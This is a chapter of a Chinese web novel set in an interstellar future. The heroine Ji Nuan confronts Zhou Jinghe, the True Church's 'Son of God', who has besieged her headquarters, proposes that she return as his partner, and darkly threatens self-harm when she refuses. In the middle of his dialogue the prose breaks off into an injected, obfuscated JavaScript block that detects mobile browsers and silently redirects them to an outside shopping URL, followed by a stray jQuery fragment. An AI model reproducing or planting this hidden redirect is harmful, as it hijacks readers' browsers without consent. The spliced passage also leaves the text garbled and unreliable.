当天的结果便是纪暖想要离开,被猎鹰和风铃一左一右架着,死活不让走。
两人一唱一和地说着好多年不见甚是想念云云。
如果不是看了他们这么浮夸的演技,纪暖可能真的要相信这番说辞了。
纪暖被强行留了下来,红姐把疤脸从实验室里喊了回来,说什么都要大家聚个餐。
可奈何这么多人,除了纪暖的厨艺能看,其他人堪称料理杀手,哪怕有纪暖的食谱在手,做出来的味道几乎能杀死星兽。
最终还是纪暖认命地撸起袖子煎了几块肉饼,面包夹着当汉堡,配着炸薯条和酸草汁,众人吃得津津有味,恨不得把她扣这儿给他们当厨娘。
——那当然是不可能的。
纪暖在这里留宿了一晚,第二天便收到了金乌着急上火的消息。
“这就走了?”
红姐刚起来,热了点速食早餐,还没吃两口,便看见纪暖穿戴整齐,形色匆匆地冲了进来。
昨天大家好不容易重逢,一时兴奋,都闹得太晚了,以至于他们都只睡了零星几个小时。
好在今天前线压力不是很大,还能容许他们多睡两个小时。
纪暖急匆匆地抓了两个玉米,思考了片刻,又塞回去了一个。
星际时代的玉米只甜不糯,还有些塞牙,她并不是很喜欢吃。
“走了,金乌说真主教的人带着舰船把总部围了,点名要找我。”
“哈?!”红姐的面上立刻浮现出愠色,“就那个做人体实验的神之子?要不是新闻爆料,我们还都被蒙在鼓里呢。”
纪暖只是看着她笑。
原本红姐还不清楚,看到纪暖这个笑容之后还有什么不明白的?
消息是这人散播出去的,媒体里估计也有她找的人。
“媒体说的什么神之子的父母、什么身世,也是你安排的?”
纪暖垂眸,浅笑了一下:“我只不过是让金乌找到了他的亲人,至于那些媒体……不过是借题发挥而已。”
那些记者就像是鬣狗一样,哪里有最能引起波澜的热点,他们就往哪里冲,遣词造句更是一个比一个离谱。
红姐有些担心:“他们不会是查到了,来找你要说法吧?”
纪暖早就想到了这一点,她还嫌昼景和来得太慢了,竟然有耐心等到会议结束,才带着人手把晴空社围了。
“不必担心,我心里有数。”
纪暖给红姐喂了一颗定心丸,便看见陈瑶在走廊那头朝着自己挥手。
她举着玉米掰了一半儿,一边咬在嘴里,一边朝陈瑶的方向走去。
Beta含糊不清地和红姐道别:“红姐,我先走了,有事给我发简讯。”
红姐应了两声,看着纪暖忙碌的背影,心里却是有些落寞。
还不知道下次再见是什么时候呢。
她盯着桌子上热好的速食早餐,轻叹了一声。
他们这群被正统势力抛弃的人,如今能找到一个容身之处也是很幸运了。
“走了?”
一道男声在红姐身后响起,是老K。
他早就醒了,只不过听到了纪暖的声音,总觉得抹不开面子,一直没有出来罢了。
红姐点了点头:“走了,挺急的。”
她戏谑地上下扫了一眼:“现在舍得出来了?”
老K面露尴尬:“我就是和她有些合不来。”
红姐看破不说破,明明是这个人拉不下脸罢了。
“大小姐,你真的要留在晴空社吗?”老K问出了这个盘踞在他心头很久的问题,“赏金猎人协会是中立的,但是晴空社不是,它触及了其他势力的利益往来,明显和它们站在了对立面……”
他的声音有些犹豫:“这也就意味着你也会和卫家站在对立面……”
她就再也没有回去卫家的可能了。
红姐释然地笑了笑:“我知道,在我离开家族的那天起,就决定了再也不回去。”
“我和他们早就站在了对立面,不死不休。”
*
纪暖和陈瑶以最快的速度驾驶舰船回到了艾克塔星球。
真主教的小型舰船规整地立于艾克塔航线两侧,非但没有阻拦舰船出入,规规矩矩地守在两旁,不知情的还以为是在夹道欢迎什么重要人物。
“你们终于回来了。”
金乌擦了擦额头的汗。
“那位神之子已经来了两天了,无论我说什么他都不答应,也不肯走,只说想要和你见面谈一谈。”
“我去见他。”纪暖拍了拍金乌的肩膀,宽慰了两句。
她扭头和陈瑶说:“你和他说一下星兽的事情,我去去就来。”
昼景和一个人坐在会议室里安静等着,不吃不喝。
金乌招待得很周到,送进来的餐食别具一格,但每次看到那些丰盛的食物,他总会不可遏制地想起那个狠心的Beta。
纪暖推门而入的时候,神之子正低着头坐在椅子上把玩着手指,听到气压门打开的声音时他也没有任何动作。
“你找我?”
直到熟悉的声音传来,昼景和才像终于回过神来一样扭头看去。
他猛地站起来,只听当啷一声,椅子和桌子发出了金属碰撞声,他的动作险些把椅子掀翻在地。
和刚才的淡然截然不同,昼景和的面上浮现出一抹微不可查的焦急和惊慌。
“阿……”他顿了顿,“阿暖,我还以为你回来了,就直接过来找你了。”
纪暖在会议桌另一头站定,平静地看着他:“昼景和,有事说事。用舰船围着我的总部,不是来叙旧的吧?”
昼景和向前走了两步,却在距离她几步远的地方停下。
银色的长发在光线下泛着冷冽的光泽,那双浅绿色的眼眸一瞬不瞬地凝视着她,里面翻涌着某种偏执,与他清冷的外表格格不入。
“我知道,我以前做了很多错事。”昼景和上前一步,语气变得恳切,“用药物改造你,限制你的自由,用‘圣女’的身份束缚你……我知道错了。”
“但现在不一样了,阿暖。”
他的眼睛亮得吓人:“那些认为你是Beta不合规矩的老派主教都被我肃清,没有人能再反对我。”
“我们之间不会存在任何阻碍了,我不会再改变你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083032|165251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,阿暖就是阿暖。”
他向她伸出手,掌心向上,是一个邀请的姿势。
“跟我回真主教吧,以我伴侣的身份。”
“我们可以一起改变它,让它变得更好,更像你希望的样子。你想要的自由、平等、尊重,我都可以给你。”
他郑重许诺:“你想要的,我都会给你。”
纪暖看着眼前这个曾经高高在上、清冷如神祇,此刻却因为激动而眼尾微红、语气近乎恳求的Alpha,只觉得一股寒意顺着脊椎爬升。
又疯了一个。
她缓缓摇了摇头,声音平静得没有一丝波澜:“你根本不明白。”
“我们的理念从根源上就是背道而驰的。”
“你想要的,是掌控一个听命于你的真主教,你能给我的也只不过是虚假的自由和希望。”
纪暖极为冷静,她不再像曾经昼景和见到的那样小心翼翼,而是带着一股子冲劲和自豪。
“我想要的,我自己可以争取,不需要依靠任何人,你永远也给不了我想要的东西。”
纪暖的话如刀刃割开了他的幻想:“我利用了你的家人,把你的身世暴露给那些媒体,你不会不知道吧?”
她想要彻底搅碎昼景和的希望。
昼景和垂首苦笑一声,银色的发丝从肩头垂落:“……我知道。”
“除了教皇,没有人知道我的身世,我只和你一个人说起过。”
他不傻,新闻出来的第一时间他就意识到了。
除了他,教皇和其他主教们也意识到了。
他们不能容许有人玷污真主教的神之子,连死人也不行。
昼景和不允许任何人染指纪暖,他用前所未有的强硬手段夺了兵权,真主教内部才会发生有史以来最大规模的肃清。
他知道了,可他不想相信。
在看到晴空社纪暖的照片的那一刻,他的心中燃起了连他自己都觉得匪夷所思的心火,他甚至能想象到Beta带着浅笑向他伸手。
而这层窗户纸就这么被纪暖捅破了。
纪暖一字一顿,斩钉截铁:“我们理念不同,不可能成为同行者。”
她眸光微动:“从纪白选择自裁的那一刻起,我们之间更不可能成为伴侣。”
昼景和脸上的血色一点点褪去,伸出的手僵在半空。
他盯着纪暖,那双总是淡漠的眼眸里,此刻清晰地映出痛苦、不解,以及一种濒临碎裂的疯狂。
“不可能……”
他喃喃重复,忽然低低地笑了起来,笑声里带着让人毛骨悚然的意味。
“所以,无论我做什么,在你眼里,我永远都是那个真主教的‘神之子’,而不是昼景和,对吗?”
纪暖没有回答,默认了他的说法。
昼景和缓缓放下手,指尖无意识地蜷缩着。
他沉默了很久,久到会议室里的空气都仿佛凝固了。
然后,他抬起眼,那是一种异常平静,却让人心底发寒的眼神。
“那如果……我把心石挖出来呢?”他静默地站在原地,说出了让纪暖浑身僵硬的话,“你能不能看到昼景和?”